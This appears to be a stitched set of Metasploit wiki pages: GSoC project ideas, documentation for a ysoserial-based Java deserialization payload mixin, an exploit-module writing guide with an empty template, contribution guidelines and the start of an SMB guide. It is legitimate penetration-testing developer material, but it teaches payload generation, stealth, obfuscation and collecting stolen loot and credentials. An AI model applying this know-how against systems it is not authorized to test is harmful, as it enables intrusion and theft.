If you want to suggest your own idea, please discuss it with us first on [our mailing list](https://groups.google.com/forum/#!forum/metasploit-hackers) to make sure it is a reasonable amount of work for a summer and that it fits the goals of the project.
@@ -0,0 +1,68 @@
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
Mentors: @zerosteiner, @jmartin-r7, @gwillcox-r7
Slack Contacts: @zeroSteiner, @Op3n4M3, @gwillcox-r7 on [Metasploit Slack](https://metasploit.slack.com/)
For any questions about these projects reach out on the Metasploit Slack in the `#gsoc` channel or DM one of the mentors using the Slack contacts listed above. Note that mentors may be busy so please don't expect an immediate response, however we will endeavor to respond as soon as possible. If you'd prefer not to join Slack, you can also email `msfdev [@] metasploit [dot] com` and we will respond to your questions there if email is preferable.
## Enhance Metasploit Framework
### HTTP-Trace enabled login scanners
Current login scanners are not enabled to support the HTTP-Trace options, this options is current exposed in the `Exploit::Remote::HttpClient` mixin and not available in login scanners. This functionality would aid module writers in debugging and testing initial module implementations as well as enable end users to provide more verbose details for error reports. Changes to enable this support will need careful validation and testing as a large number of modules would be potentially impacted by the revision.
Size: Medium
Difficulty: 3/5
### Rest API Pagination
Metasploit provides two API interaction services, a Rest API service and an RPC service. Previous efforts have wrapped and exposed the RPC service as JSON responses available from the Rest API endpoint. This wrapping did not account for possible large responses that may benefit from pagination. A previous contributor attempted to add this functionality for a [limited set of RCP commands](https://github.com/rapid7/metasploit-framework/pull/13439) however review identified that the changes would introduce changes to the documented public API and also introduce inconsistency within the API responses resulting in a fluctuating public API. Modern pagination would be beneficial to increasing user adoption of Rest API services provided it can be implemented consistently and either maintain compatibility of the existing public RPC service or generate a one time migration across all exposed public APIs.
Size: Large
Difficulty: 4/5
### LDAP Capture Capabilities
Metasploit's LDAP service mixin provides a service to enable interaction over the LDAP protocol. The current implementation is the bare minimum to enable support for attacking the [2021 Log4Shell vulnerability](). Enhancement/Extension of the mixin to enable various additional LDAP features would enable extended usage of this service for additional tasks. Support for various protocol level authentication methods would allow Metasploit to intercept and log authentication information. Specific items of interest are [SPNEGO](https://en.wikipedia.org/wiki/SPNEGO) and [StartTLS](https://ldapwiki.com/wiki/StartTLS) support to enable compatibility with the widest variety of clients and a new capture module that log authentication information from clients.
Size: Medium
Difficulty: 3/5
### Enhanced LDAP Query & Collection
When preforming security assessment on a network with centralized login such as LDAP or Active Directory these services are sometimes exposed directly on the network. While Metasploit has capabilities to collect various pieces of information from these services when a user has been able to gain code execution inside a target system by utilizing tooling such as `Sharphound` or by leveraging SMB services via the `secrets_dump` module, these methods are somewhat indirect. A network base capability to query exposed services may have value. An interactive terminal plugin allowing users to connect directly to LDAP or Active Directory providing capabilities similar to the existing `requests` plugin could enable users search for valuable information in these services without the need to compromise a target or interact with a secondary service.
Size: Medium/Large (Depends on proposal)
Difficulty: 3/5
### Improving post-exploit API to be more consistent, work smoothly across session types
The Metasploit post-exploitation API is intended to provide a unified interface between different Meterpreter, shell, PowerShell, mainframe, and other session types. However, there are areas where the implementation is not consistent, and could use improvements:
* Shell sessions do not implement the filesystem API that Meterpreter sessions have
* When a shell session is in a different language, e.g. Windows in French, the post API does not find the expected output. Add localization support for these.
* Simple commands like 'cmd_exec' are fast in Shell sessions but are relatively slow in Meterpreter sessions. Add an API to make Meterpreter run simple commands more easily.
Size: Medium/Large (Depends on proposal)
Difficulty: Varies
### Improve the web vulnerability API
This would follow up on the Arachni plugin PR <https://github.com/rapid7/metasploit-framework/pull/8618> and improve the Metasploit data model to better represent modern web vulnerabilities. This project would require knowledge of data models, types of modern web vulnerabilities, and experience with web app security scanners.
Size: Large
Difficulty: 4/5
### Data Visualization
Enhance existing Metasploit Goliath dashboard that allows observation of an active engagement. Data visualization would include, but not be limited to: host node graph with activity indicators and heat maps. The main idea here is to create a visualization tool that helps users understand data that has been gathered into Metasploit during usage in some useful way. Proposals should note where the service will live, how a user will use the service, and how you will provide a maintainable and extendable consumer for the data that is exposed.
See [Metasploit 'Goliath' Demo (msf-red)](https://www.youtube.com/watch?v=hvuy6A-ie1g&feature=youtu.be&t=176) for a demo video of Goliath in action. You can also read more on Metasploit Goliath at [Metasploit-Data-Service-Enhancements-(Goliath)](./Metasploit-Data-Service-Enhancements-Goliath)
Size: Medium/Large (Depends on proposal)
Difficulty 3/5
## Submit your own
If you want to suggest your own idea, please discuss it with us first on [Slack](https://metasploit.com/slack) in the `#gsoc` channel to make sure it is a reasonable amount of work for a summer and that it fits the goals of the project.
@@ -0,0 +1,172 @@
Instead of embedding static Java serialized objects, Metasploit offers ysoserial-generated binaries with built-in randomization. The benefits of using the Metasploit library include quicker module development, easier-to-read code, and future-proof Java serialized objects.
To use the ysoserial libraries, let's look at an example from the [shiro_rememberme_v124_deserialize][2] module:
## Example code
In this example:
1. (L11) The module includes the `Msf::Exploit::JavaDeserialization` mixin.
* This exposes the necessary methods.
1. (L79) Then it uses the `generate_java_deserialization_for_payload` method to create a serialized Java object based on the `CommonsCollections2` YSoSerial payload that will execute the Metasploit payload.
* Note that the Metasploit `payload` object is passed as-is, without any conversion.
```
09 include Msf::Exploit::Remote::HttpClient
10 include Msf::Exploit::Powershell
11 include Msf::Exploit::JavaDeserialization
12
13 def initialize(info = {})
...
78 def exploit
79 java_payload = generate_java_deserialization_for_payload('CommonsCollections2', payload)
80 ciphertext = aes_encrypt(java_payload)
```
Once the serialized object is generated and stored as `java_payload`, it's then sent to the target in an exploit-specific manner.
## Methods
### `#generate_java_deserialization_for_payload(name, payload)`
This method will generate a serialized Java object that when loaded will execute the specified Metasploit payload. The payload will be converted to an operating system command using one of the supported techniques contained within this method and then passed to [`#generate_java_deserialization_for_command`](#generate_java_deserialization_for_commandname-shell-command).
- **name** - The payload name parameter must be one of the supported payloads stored in the `ysoserial` cache. As of this writing, the list includes: `BeanShelll1`, `Clogure`, `CommonsBeanutils1`, `CommonsCollections2`, `CommonsCollections3`, `CommonsCollections4`, `CommonsCollections5`, `CommonsCollections6`, `Groovy1`, `Hibernate1`, `JBossInterceptors1`, `JRMPClient`, `JSON1`, `JavassistWeld1`, `Jdk7u21`, `MozillaRhino1`, `Myfaces1`, `ROME`, `Spring1`, `Spring2`, and `Vaadin1`. While `ysoserial` includes additional payloads that are not listed above, they are unsupported by the library due to the need for complex inputs. Should there be use cases for additional payloads, please consider opening an issue and submitting a pull request to add support.
- **payload** - The payload object to execute on the remote system. This is the native Metasploit payload object and it will be automatically converted to an operating system command using a technique suitable for the target platform and architecture. For example, x86 Windows payloads will be converted using a Powershell command. Not all platforms and architecture combinations are supported. Unsupported combinations will result in a `RuntimeError` being raised which will need to be handled by the module developer.
### `#generate_java_deserialization_for_command(name, shell, command)`
This method will generate a serialized Java object that when loaded will execute the specific operating system command using the specified shell. Invocation of the command through the shell effectively bypasses constraints on the characters within the operating system command.
- **name** - The payload name parameter. This has the same significance as the *name* parameter for the [`#generate_java_deserialization_for_payload`](#generate_java_deserialization_for_payloadname-payload) method.
- **shell** - The shell to use for invoking the command. This value must be one of the following:
- **bash** - A modified version that will invoke the command using the `bash` executable
- **cmd** - A modified version that will invoke the command using the Windows `cmd.exe` executable.
- **powershell** - A modified version that will invoke the command using the Windows `powershell.exe` executable.
- **command** - The operating system command to execute upon successful deserialization of the generated object.
## Regenerating the ysoserial_payload JSON file (MAINTAINERS ONLY)
**Neither module developers nor users need to concern themselves with the following.**
On occasion, Metasploit maintainers may want to re-run the script generation to incorporate new Java serialized objects from the ysoserial tool.
To avoid invoking Java (and all its dependencies) at runtime, the serialized objects are generated and cached within a JSON file. The JSON file can be refreshed using a standalone Ruby script, which comes prepackaged with a Docker image that handles downloading `ysoserial` and necessary dependencies. The script, `Dockerimage` and a high-level `runme.sh` script is stored within `tools/payloads/ysoserial`. An example run looks like:
```
$ cd ~/git/r7/metasploit-framework/tools/payloads/ysoserial
$ ./runme.sh
Sending build context to Docker daemon 101.8MB
Step 1/8 : FROM ubuntu
---> cd6d8154f1e1
Step 2/8 : RUN apt update && apt -y upgrade
---> Using cache
---> ba7e5691ed5a
Step 3/8 : RUN apt install -y wget openjdk-8-jre-headless ruby-dev make gcc
---> Using cache
---> d38488663627
Step 4/8 : RUN wget -q https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial-original.jar
---> Using cache
---> 284ff722464b
Step 5/8 : RUN wget -q https://github.com/pimps/ysoserial-modified/raw/master/target/ysoserial-modified.jar
---> Using cache
---> 334c1ccb6fab
Step 6/8 : RUN gem install --silent diff-lcs json pry
---> Using cache
---> 9d452be9d01f
Step 7/8 : COPY find_ysoserial_offsets.rb /
---> 61b6f339590c
Step 8/8 : CMD ruby /find_ysoserial_offsets.rb
---> Running in ba7b14646e56
Removing intermediate container ba7b14646e56
---> f4ca5ecb6848
Successfully built f4ca5ecb6848
Successfully tagged ysoserial-payloads:latest
Generating payloads for BeanShell1...
Generating payloads for C3P0...
Error while generating or serializing payload
java.lang.IllegalArgumentException: Command format is: <base_url>:<classname>
at ysoserial.payloads.C3P0.getObject(C3P0.java:48)
at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
ERROR: Errored while generating 'C3P0' and it will not be supported
Generating payloads for Clojure...
Generating payloads for CommonsBeanutils1...
Generating payloads for CommonsCollections1...
Generating payloads for CommonsCollections2...
Generating payloads for CommonsCollections3...
Generating payloads for CommonsCollections4...
Generating payloads for CommonsCollections5...
Generating payloads for CommonsCollections6...
Generating payloads for FileUpload1...
Error while generating or serializing payload
java.lang.IllegalArgumentException: Unsupported command []
at ysoserial.payloads.FileUpload1.getObject(FileUpload1.java:71)
at ysoserial.payloads.FileUpload1.getObject(FileUpload1.java:40)
at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
ERROR: Errored while generating 'FileUpload1' and it will not be supported
Generating payloads for Groovy1...
Generating payloads for Hibernate1...
Generating payloads for Hibernate2...
Error while generating or serializing payload
java.sql.SQLException: DataSource name cannot be empty string
at javax.sql.rowset.BaseRowSet.setDataSourceName(BaseRowSet.java:855)
at com.sun.rowset.JdbcRowSetImpl.setDataSourceName(JdbcRowSetImpl.java:4307)
at ysoserial.payloads.Hibernate2.getObject(Hibernate2.java:58)
at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
ERROR: Errored while generating 'Hibernate2' and it will not be supported
Generating payloads for JBossInterceptors1...
Generating payloads for JRMPClient...
Generating payloads for JRMPListener...
Error while generating or serializing payload
java.lang.NumberFormatException: For input string: ""
at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65)
at java.lang.Integer.parseInt(Integer.java:592)
at java.lang.Integer.parseInt(Integer.java:615)
at ysoserial.payloads.JRMPListener.getObject(JRMPListener.java:42)
at ysoserial.payloads.JRMPListener.getObject(JRMPListener.java:34)
at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
ERROR: Errored while generating 'JRMPListener' and it will not be supported
Generating payloads for JSON1...
Generating payloads for JavassistWeld1...
Generating payloads for Jdk7u21...
Generating payloads for Jython1...
Error while generating or serializing payload
java.lang.IllegalArgumentException: Unsupported command []
at ysoserial.payloads.Jython1.getObject(Jython1.java:52)
at ysoserial.payloads.Jython1.getObject(Jython1.java:42)
at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
ERROR: Errored while generating 'Jython1' and it will not be supported
Generating payloads for MozillaRhino1...
Generating payloads for Myfaces1...
Generating payloads for Myfaces2...
Error while generating or serializing payload
java.lang.IllegalArgumentException: Command format is: <base_url>:<classname>
at ysoserial.payloads.Myfaces2.getObject(Myfaces2.java:47)
at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
ERROR: Errored while generating 'Myfaces2' and it will not be supported
Generating payloads for ROME...
Generating payloads for Spring1...
Generating payloads for Spring2...
Generating payloads for URLDNS...
Error while generating or serializing payload
java.net.MalformedURLException: no protocol:
at java.net.URL.<init>(URL.java:593)
at ysoserial.payloads.URLDNS.getObject(URLDNS.java:56)
at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
ERROR: Errored while generating 'URLDNS' and it will not be supported
Generating payloads for Vaadin1...
Generating payloads for Wicket1...
Error while generating or serializing payload
java.lang.IllegalArgumentException: Bad command format.
at ysoserial.payloads.Wicket1.getObject(Wicket1.java:59)
at ysoserial.payloads.Wicket1.getObject(Wicket1.java:49)
at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
ERROR: Errored while generating 'Wicket1' and it will not be supported
DONE! Successfully generated 0 static payloads and 22 dynamic payloads. Skipped 8 unsupported payloads.
```
At completion, the `data/ysoserial_payloads.json` file is overwritten and the 22 dynamic payloads are ready for use within the framework. Afterward, the developer should follow the standard `git` procedures to `add` and `commit` the new JSON file before generating a pull request and landing the updated JSON into the framework's `master` branch.
[1]: https://github.com/pimps/ysoserial-modified/blob/e71f70dbc5e8c27d72873014ac5cb7766f4b5b94/src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java#L11-L30
[2]: https://github.com/rapid7/metasploit-framework/blob/d580e7d12218fbf62b190a0c0c6d25f43b8aa5be/modules/exploits/multi/http/shiro_rememberme_v124_deserialize.rb
@@ -0,0 +1,160 @@
## On this page
* [Plan your module](#plan-your-module)
* [Ranking](#ranking)
* [Template](#template)
* [Basic git commands](#basic-git-commands)
* [References](#references)
The real kung-fu behind exploit development isn't actually about which language you choose to build it; it's about your precise understanding of how input is processed by the application you're debugging, and how to gain control by manipulating it. That's right; the keyword is "debugging." Your binjitsu (reverse-engineering) is where the real kung-fu is. However, if your goal isn't just about popping a calculator, but actually want to weaponize, to maintain, and to provide use in the practical world, you need a development framework. And this is where Metasploit comes in. It's a framework that's free and open-source, actively contributed by researchers around the world. So when you write a Metasploit exploit, you don't have to worry about any [dependency issues](http://en.wikipedia.org/wiki/Dependency_hell), or having the wrong version, or not having enough payloads for different pentesting scenarios to choose from, etc. The idea is all you need to do is focus on building that exploit, and nothing more.
## Plan your module
First, ask yourself will exploiting this vulnerability result in executing a payload? If not, then despite exploiting a vulnerability, for Metasploit's purposes the module would fall into the [[auxiliary|How-to-get-started-with-writing-an-auxiliary-module]] category.
Unlike writing a proof-of-concept, when you write a Metasploit module, you need to think about how users might use it in the real world. Stealth is usually an important element to think about. Can your exploit achieve code execution without dropping a file? Can the input look more random, so it's more difficult to detect? How about obfuscation? Is it generating unnecessary traffic? Can it be more stable without crashing the system?
Try to be precise about exploitable requirements. Usually, a bug is specific to a range of versions or even builds. If you can't automatically check that, you need to at least mention it in the description somewhere.
Some of your exploit's techniques might also be application-specific. For example, you can take advantage of a specific behavior in the application to generate heap allocations the way you want, but maybe it's noisier in the newer version, so that gives you some stability issues. Does it need a 3rd-party component to work that may not even be installed by everyone? Even if it is, is the component revised often enough that it could make your exploit less reliable?
Know that in the real world, your exploit can break or fail in a lot of different ways. You should try to find out and fix it during the development and testing phase before learning the hard way.
## Ranking
As you can see, reliability is important to Metasploit, and we try to be more friendly about this for the users. I know what you're thinking: "Well, if they're using the exploit, they should understand how it works, so they know what they're getting themselves into." In the perfect world, yes. Knowing how a vulnerability works or how an exploit works will only benefit the user, but you see, we don't live in the perfect world. If you're in the middle of a penetration test, it's very unlikely to always find the time to recreate the vulnerable environment, strip the exploit to the most basic form to debug what's going on, and then do testing. Chances are you have a tight schedule to break into a large network, so you need to use your time carefully. Because of this, it's important to at least have a good description and good references for the module. And of course, a ranking system that can be trusted.
The Metasploit Framework has seven different rankings to indicate how reliable an exploit is. See [[Exploit Ranking]] for more details.
## Template
If you have read this far, we think you are pretty impressive because it's a lot to digest. You are probably wondering why we haven't had a single line of code to share in the writeup. Well, as you recall, exploit development is mostly about your reversing skills. If you have all that, we shouldn't be telling you how to write an exploit. What we've done so far is hopefully get your mindset dialed-in correctly about what it means to become a Metasploit exploit developer for the security community; the rest is more about how to use our mixins to build that exploit. Well, there are A LOT of mixins, so it's impossible to go over all of them in a single page, so you must either read the [API documentation](https://rapid7.github.io/metasploit-framework/api/), existing [code examples](https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits), or look for more wiki pages we've written to cover specific mixins.
For example, if you're looking for a writeup about how to interact with an HTTP server, you might be interested in: [How to send an HTTP Request Using HTTPClient](https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient). If you're interested in browser exploit writing, definitely check out: [How to write a browser exploit using BrowserExploitServer](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer), etc.
But of course, to begin, you most likely need a template to work with, and here it is. We'll also explain how to fill out the required fields:
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
def initialize(info={})
super(update_info(info,
'Name' => "[Vendor] [Software] [Root Cause] [Vulnerability type]",
'Description' => %q{
Say something that the user might need to know
},
'License' => MSF_LICENSE,
'Author' => [ 'Name' ],
'References' =>
[
[ 'URL', '' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'System or software version',
{
'Ret' => 0x41414141 # This will be available in `target.ret`
}
]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Privileged' => false,
'DisclosureDate' => "",
'DefaultTarget' => 0))
end
def check
# For the check command
end
def exploit
# Main function
end
end
```
* **Name** - The Name field should begin with the name of the vendor, followed by the software. Ideally, the "Root Cause" field means which component or function the bug is found. And finally, the type of vulnerability the module is exploiting.
* **Description** - The Description field should explain what the module does, things to watch out for, specific requirements, the more, the better. The goal is to let the user understand what he's using without the need to actually read the module's source and figure things out. And trust me, most of them don't.
* **Author** field is where you put your name. The format should be "Name ". If you want to have your Twitter handle there, leave it as a comment, for example: "Name # handle"
* **References** - The References field is an array of [references](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/module/reference.rb) related to the vulnerability or the exploit. For example, an advisory, a blog post, etc. Make sure you use known reference identifiers -- see [[Module reference identifiers]] for a list.
* **Platform** - The Platform field indicates what platforms are supported, for example: win, linux, osx, unix, bsd.
* **Targets** - The Targets field is an array of systems, applications, setups, or specific versions your exploit is targeting. The second element or each target array is where you store specific metadata about that target, for example, a specific offset, a gadget, a ret address, etc. When a target is selected by the user, the metadata is loaded and tracked by a "target index", and can be retrieved by using the `target` method.
* **Payloads** - The Payloads field specifies how the payload should be encoded and generated. You can specify: `Space`, `SaveRegisters`, `Prepend`, `PrependEncoder`, `BadChars`, `Append`, `AppendEncoder`, `MaxNops`, `MinNops`, `Encoder`, `Nop`, `EncoderType`, `EncoderOptions`, `ExtendedOptions`, `EncoderDontFallThrough`.
**DisclosureDate** - The DisclosureDate is about when the vulnerability was disclosed in public, in the format of: "M D Y". For example: "Apr 04 2014"
Your exploit should also have a `check` method to support the check command, but this is optional in case it's not possible.
And finally, the `exploit` method is like your main method. Start writing your code there.
An example exploit module is also available: [example.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/example.rb)
## Basic git commands
Metasploit no longer uses svn for source code management. Instead, we use git, so knowing some tricks with git go a long way. We're not here to lecture you about how awesome git is; we know it has a learning curve, and it's not surprising to find new users making mistakes. Every once a while, your git "rage" will kick in, and we understand. However, it's important for you to take advantage of branching.
Every time you make a module or make some changes to existing code, you should not do so on the default master branch. Why? Because when you do a ```msfupdate```, which is Metasploit's utility for updating your repository, it will do a git reset before merging the changes, and all your code goes away.
Another mistake people tend to do is have all the changes on master before submitting a pull request. This is a bad idea because most likely; you're submitting other crap you don't intend to change, or you're probably asking us to merge other unnecessary commit histories when there only needs to be one commit. Thanks for contributing your module to the community, but no thanks to your crazy commit history.
So as a habit, when you want to make something new, or change something, begin with a new branch that's up to date to master. First off, make sure you're on master. If you do a ```git status``` it will tell you what branch you're currently on:
```bash
$ git status
# On branch upstream-master
nothing to commit, working directory clean
```
Ok, now do a ```git pull``` to download the latest changes from Metasploit:
```bash
$ git pull
Already up-to-date.
```
At this point, you're ready to start a new branch. In this case, we'll name our new branch "my_awesome_branch":
```bash
$ git checkout -b my_awesome_branch
Switched to a new branch 'my_awesome_branch'
```
And then you can go ahead and add that module. Make sure it's in the appropriate path:
```bash
$ git add [module path]
```
When you decide to save the changes, commit (if there's only one module, you can do ```git commit -a``` too so you don't have to type the module path. Note ```-a``` really means EVERYTHING):
```bash
$ git commit [module path]
```
When you're done, push your changes, which will upload your code to your remote branch "my_awesome_branch". You must push your changes in order to submit the pull request or share it with others on the Internet.
```bash
$ git push origin my_awesome_branch
```
## References
- <https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit.rb>
@@ -0,0 +1,55 @@
# Acceptance Guidelines
Contributions from the open source community are the soul of Metasploit, and we love evaluating and landing pull requests that add new Framework features and content. Metasploit Framework has many tens of thousands of users who rely on daily, consistent, and error-free updates. Because of this, Metasploit's core developers have adopted a fairly high standard for pull requests that add new Framework functionality and Metasploit modules. In order to encourage open and transparent development, this document outlines some general guidelines for Metasploit contributors and developers. Adhering to these guidelines maximizes the chances that your work will be merged into the official Metasploit distribution packages.
## Module Additions
Most open source community support for Metasploit comes in the form of Metasploit modules. The following should be considered for acceptance; note that these are guidelines and not categorical imperatives ("should"s, not "must"s), since there are always exceptions to the norm-especially when it comes to novel new attacks and techniques.
Modules should pass [msftidy.rb](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/msftidy.rb) and adhere to the [CONTRIBUTING.md](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md) guidelines. Both are distributed with Metasploit. See [[Style Tips]] for some information on how to take some of the headache out of whitespace issues.
Modules should have a clear and obvious goal: Exploits should result in a shell. Post modules should result in privilege escalation or loot. Auxiliary modules are an "Everything else" category, but even they should be limited to a well-defined task (e.g., information gathering to enable an exploit or a post module).
Modules should not launch other modules, given the complexity of setting multiple payloads. Such actions are usually automation tasks for an external UI.
Denial of Service modules should be asymmetric and at least have some interesting feature. If it's comparable to a synflood, it shouldn't be included. If it's comparable to Baliwicked, it should be included. Modules that hover the line, such as slowloris, may be included with some justification.
Modules should be able to function as expected with minimal configuration. Defaults should be sensible and usually correct. Modules should not depend on exact timing, uncontrollable heap states, system DLLs, etc. All memory addresses (ie. a JMP ESP, or a ROP gadget) should be part of the metadata under 'Targets', and documented (what instructions it points to, and what DLL). If the exploit is against a specific hardware (e.g., routers, PLCs, etc), or against a software that's not free (and no trial/demo available), please remember to submit a binary packet capture (pcap-formatted) along with the module that demonstrates the exploit actually works.
Please don't use the alphanum encoder as a way to avoid BadChar analysis. Modules which set the `EncoderType` field in the payload as a way to avoid doing real BadChar analysis will be rejected. These modules are nearly always unreliable in the real world.
Exploit ranking definitions can be found on the [[Exploit Ranking]] page.
Exploit modules should implement a `check()` function when this is trivial to do so. Versions exposed through banners or network protocols should always result in a `check()` routine when a patch is available that changes this version.
If a module (auxiliary or post) obtains some sort of information from the victim machine, it should store that data using one (or more) of the following methods:
* `store_loot()`: Used to store both stolen files (both text and binary) and "screencaps" of commands such as a `ps -ef` and `ifconfig`. The file itself need not be of forensic-level integrity -- they may be parsed by a post module to extract only the relevant information for a penetration tester.
* `report_auth_info()`: Used to store working credentials that are immediately reusable by another module. For example, a module dumping the local SMB hashes would use this, as would a module which reads username:password combinations for a specific host and service. Specifically, merely "likely" usernames and passwords should use `store_loot()` instead.
* `report_vuln()`: Auxiliary and post modules that exercise a particular vulnerability should `report_vuln()` upon success. Note that exploit modules automatically `report_vuln()` as part of opening a session (there is no need to call it especially).
* `report_note()`: Modules should make an effort to avoid `report_note()` when one of the above methods would be a better fit, but there are often cases where "loot" or "cred" or "vuln" classifications are not immediately appropriate. `report_note()` calls should always set a OID-style dotted `:type`, such as `domain.hosts`, so other modules may easily find them in the database.
Modules should take advantage of the normal Metasploit APIs. For example, they should not attempt to create their own TCP sockets or application protocols with native Ruby; they should mediate sockets through `Rex` and `Rex::Proto` methods instead. This ensures compatibility with the full set of Framework features, such as pivoting and proxy chaining.
Web application attacks are generally uninteresting (SQLi, XSS, CSRF), unless the module can reliably result in a shell or exercise some kind of useful information leak. Even in that case, the module should "just work," as above.
Web application attacks should be limited only to popular, widely deployed applications. For example, a SQLi module against a popular CMS that results in a shell on the CMS machine would be welcome. A module that causes a private Facebook profile to become public would not (Facebook has exactly one deployed instance).
Web application attacks should implement an HttpFingerprint constant.
Modules should only list targets that **you** actually tested the exploit on. Avoid assuming it works on a specific system if it has never been tested on it. Comments above the target entry indicating additional information about a given target (language pack, patch level, etc) greatly assist other developers in creating additional targets and improving your module.
Modules can exercise unpatched and undisclosed vulnerabilities. However, Rapid7 is happy to assist with the disclosure process by following the Rapid7 policy. This policy provides a fixed 90-day window from when the vendor is contacted until the exploit is released. All vulnerabilities found by Rapid7 staff follow this process. The submitter will receive full credit for the vulnerability and the resulting exploit module regardless of how disclosure is handled.
## Framework Enhancements
Generally, new functionality to the Metasploit Framework should start life as a plugin. If the functionality becomes useful and popular, we can integrate it more closely, add RPC API exposure, and so on, but it should be well-tested by the community before then.
Automating a series of discrete functions is generally /not/ the responsibility of the Framework. Automation should be accomplished through the API (see Metasploit Community/Pro, MSFGUI, etc). Past efforts with in-Framework automation prove this out. Components such as `db_autopwn` and `browser_autopwn` rarely did what users expected, and configuring these tools became a nightmare through increasingly complex sets of options and arguments. Automating the Framework is easy and should stay easy, but the automation itself should live in resource scripts and other external front-ends to the Framework itself.
Console functionality should have a focus on exploit and security tool development, with the exploit developer as the typical user. End users should be pointed to an interface such as the Community Edition or MSFGUI and should not expect much in terms of user-friendliness from the console. The console should be considered a debug mode for Metasploit and as close to bare-metal functionality as possible.
External tools, such `msfpayload` and `msfvenom`, are designed to make exploit development easier and exercise specific techniques. We are happy to continue evaluating tools of this nature for inclusion in the Framework; these should be accompanied by documentation (!), how-to tutorials for quick start, and other helpful text.
@@ -0,0 +1,447 @@
This is a simple guideline to write SMB-based modules, focusing on the new RubySMB implementation that includes SMB3 support.
## SMB Protocol Overview
SMB (Server Message Block) is a network communication protocol that provides file sharing, network browsing, printing services, and interprocess communication over a network. It relies on lower level protocol transports:
* NetBIOS
- over TCP/IP (NBT) on 137/UDP, 138/UDP, 137/TCP and 139/TCP
- over NetBEUI
* Directly over TCP on 445/TCP (by far the most commonly used)
[CIFS](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/d416ff7c-c536-406e-a951-4f04b2fd1d2b) is a particular implementation of SMB created by Microsoft based on the original IBM specifications. It has been replaced by [SMB v1.0](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb/f210069c-7086-4dc2-885e-861d837df688), which is a Microsoft Extensions to MS-CIFS.
[SMB2](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962) is a complete rewrite of the protocol which primarily aims to reduce the amount of messages exchanged between the client and the server. SMB v2.0 has been introduced in Windows Vista/Server 2008. It also brings some new features such as:
* Pipelining
* Symbolic links
* Large file transfers improvement
* Better signing
* New opportunistic locking mechanism
SMB v2.1 was added to Windows 7/Server 2008 R2 with a few improvements:
* Minor performance enhancements
* New opportunistic locking mechanism
[SMB3](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962) adds some interesting features and has been introduced in Windows 8/Server 2012. Here are some new capabilities added by the SMB v3.0 dialect:
* SMB Direct (SMB over remote direct memory access - RDMA)
* SMB Multichannel (multiple connections per SMB session)
* SMB Transparent Failover (useful for clustered file server)
* Per-share encryption (AES-128 CCM) and AES-based signing
SMB v3.0.2 (from Windows 8.1/Server 2012 R2) only adds some small improvements. Finally, SMB v3.1.1 (from Windows 10/Server 2016) introduces the following features:
* Negotiation of encryption and integrity algorithms
* AES-128 GCM encryption
* Pre-authentication integrity check (SHA-512)
* Compression
## Common SMB Packet Exchange Scenarios
1. **NetBIOS session establishment**
This step is only required if NetBIOS over TCP (NBT) transport is used. This is not very common anymore, since SMB over TCP (from windows 2000) removed the NetBIOS transport layer. In case a NetBIOS session needs to be established, this must be the first packet exchange.
2. **Negotiation**
This is where the SMB protocol version and dialect are going to be negotiated between the client and the server. From SMB v3.1.1, encryption/compression capabilities are also negotiated at the same time.
3. **Authentication**
Depending on the authentication scheme, this step requires one or two packet exchanges. NTLM challenge-response, the only authentication protocol supported by RubySMB at time of writing, consists of sending first a Session Setup packet containing the client capabilities. The server responds with a challenge. Then, another Session Setup request is sent with the challenge response. If it is accepted, the server returns a Session ID that will be used in subsequent requests. This defines the beginning of an SMB Session.
<figure>
<img src="https://user-images.githubusercontent.com/56716719/89442188-ab533780-d74e-11ea-8223-8f43b71e08f5.png" alt="Negotiation & Authentication">
<figcaption style="text-align:center"><i>Fig.1 - Negotiation & authentication packet exchanges</i></figcaption>
</figure>
4. **Connect to a share**
Once the SMB session is established, the SMB client must connect to a remote share.This is done by sending a TreeConnect request and getting a Tree ID. This identifier will be used by subsequent file operations on this share.
5. **File operation**
From there, the client can execute any file operation on the remote share, such as open, read, write, delete, rename, etc. When the client is done with a file, it can simply close the handle. The Tree ID remains valid and can be reused.
<figure>
<img src="https://user-images.githubusercontent.com/56716719/89446561-f96b3980-d754-11ea-868c-7714366168f5.png" alt="Connect to share and read file">
<figcaption style="text-align:center"><i>Fig.2 - Connect to share & read file packet exchanges</i></figcaption>
</figure>
6. **Close tree and session**
The client can decide to release the connection to the share at any time by sending a TreeDisconnect request. Note that the SMB session will remain active until the client sends a Logoff packet, which defines the end of the SMB Session.
## Module Writing
### Using the default MSF client
The following mixin will bring everything you need, including the main MSF SMB Client.
```ruby
include Msf::Exploit::Remote::SMB::Client::Authenticated
```
Following the same workflow described above:
1. **Initialization**
The first step is to initialize the client by invoking `connect`. The version(s) that will be negotiated can also be set up by passing an array to the keyword arguments versions. For example, to negotiate any dialect of SMB version 2 and 3, use this:
